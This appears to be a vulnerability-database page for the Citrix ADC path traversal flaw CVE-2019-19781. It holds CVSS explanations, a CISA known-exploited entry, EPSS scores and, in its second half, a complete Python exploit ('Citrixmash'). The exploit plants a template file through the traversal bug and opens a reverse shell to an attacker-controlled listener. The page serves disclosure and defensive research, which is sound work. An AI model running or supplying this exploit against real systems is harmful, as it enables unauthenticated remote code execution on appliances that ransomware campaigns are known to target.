CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Citrix ADC, Gateway, and SD-WAN WANOP Appliance Code Execution Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Known
Added : 2021-11-02 23h00 +00:00
Action is due : 2022-05-02 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
43.54%
–
–
–
–
2021-09-05
–
43.54%
–
–
–
2022-02-06
–
–
95.61%
–
–
2023-03-12
–
–
–
97.55%
–
2023-03-19
–
–
–
97.54%
–
2023-04-16
–
–
–
97.53%
–
2023-05-07
–
–
–
97.5%
–
2023-05-14
–
–
–
97.51%
–
2023-05-21
–
–
–
97.47%
–
2023-06-04
–
–
–
97.48%
–
2023-06-18
–
–
–
97.46%
–
2023-07-09
–
–
–
97.48%
–
2023-07-30
–
–
–
97.53%
–
2023-08-13
–
–
–
97.54%
–
2023-10-01
–
–
–
97.52%
–
2023-11-05
–
–
–
97.51%
–
2023-12-24
–
–
–
97.48%
–
2024-01-07
–
–
–
97.49%
–
2024-01-21
–
–
–
97.5%
–
2024-02-25
–
–
–
97.53%
–
2024-03-24
–
–
–
97.54%
–
2024-06-02
–
–
–
97.54%
–
2024-08-25
–
–
–
97.5%
–
2024-10-20
–
–
–
97.51%
–
2024-11-03
–
–
–
97.53%
–
2025-01-12
–
–
–
97.51%
–
2025-01-26
–
–
–
97.52%
–
2025-03-02
–
–
–
97.51%
–
2025-01-19
–
–
–
97.51%
–
2025-01-25
–
–
–
97.52%
–
2025-03-09
–
–
–
97.51%
–
2025-03-18
–
–
–
–
94.44%
2025-03-18
–
–
–
–
94.44,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2020-01-10 23h00 +00:00 Author : TrustedSec EDB Verified : No
#!/usr/bin/python3
#
# Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
#
# You only need a listener like netcat to catch the shell.
#
# Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White
#
# Tool Written by: Rob Simon and David Kennedy
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings
import random
import string
import time
from random import randint
import argparse
import sys
# random string generator
def randomString(stringLength=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
# our random string for filename - will leave artifacts on system
filename = randomString()
randomuser = randomString()
# generate random number for the nonce
nonce = randint(5, 15)
# this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script
# note that the file location will be in /netscaler/portal/templates/filename.xml
def stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport):
# encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC)
encoded = ""
i=0
text = ("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport))
while i < len(text):
encoded = encoded + "chr("+str(ord(text[i]))+") . "
i += 1
encoded = encoded[:-3]
payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]"
headers = (
{
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename),
'NSC_NONCE' : '%s' % (nonce),
})
data = (
{
"url" : "127.0.0.1",
"title" : payload,
"desc" : "desc",
"UI_inuse" : "a"
})
url = ("https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl" % (victimip, victimport))
requests.post(url, data=data, headers=headers, verify=False)
# this is our second stage that triggers the exploit for us
def stage2(filename, randomuser, nonce, victimip, victimport):
headers = (
{
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
'NSC_USER' : '%s' % (randomuser),
'NSC_NONCE' : '%s' % (nonce),
})
requests.get("https://%s:%s/vpn/../vpns/portal/%s.xml" % (victimip, victimport, filename), headers=headers, verify=False)
# start our main code to execute
print('''
.o oOOOOOOOo OOOo
Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO
OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO
OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB'
`O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo
.OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO
OOOOO '"OOOOOOOOOOOOOOOO"` oOO
oOOOOOba. .adOOOOOOOOOOba .adOOOOo.
oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO
OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
"OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO"
Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :`
: .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? .
. oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo
'%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO':
`$" `OOOO' `O"Y ' `OOOO' o .
. . OP" : o .
:
Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
Tool Written by: Rob Simon and Dave Kennedy
Contributions: The TrustedSec Team
Website: https://www.trustedsec.com
INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/
This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used
to append files in an XML format to the victim machine. This in turn allows for remote code execution.
Be sure to cleanup these two file locations:
/var/tmp/netscaler/portal/templates/
/netscaler/portal/templates/
Usage:
python citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\n''')
# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("attackerip", help="the attackers reverse listener IP address")
parser.add_argument("attackerport", help="the attackersa reverse listener port")
args = parser.parse_args()
print("[*] Firing STAGE1 POST request to create the XML template exploit to disk...")
print("[*] Saving filename as %s.xml on the victim machine..." % (filename))
# trigger our first post
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second post
stage2(filename, randomuser, nonce, args.target, args.targetport)
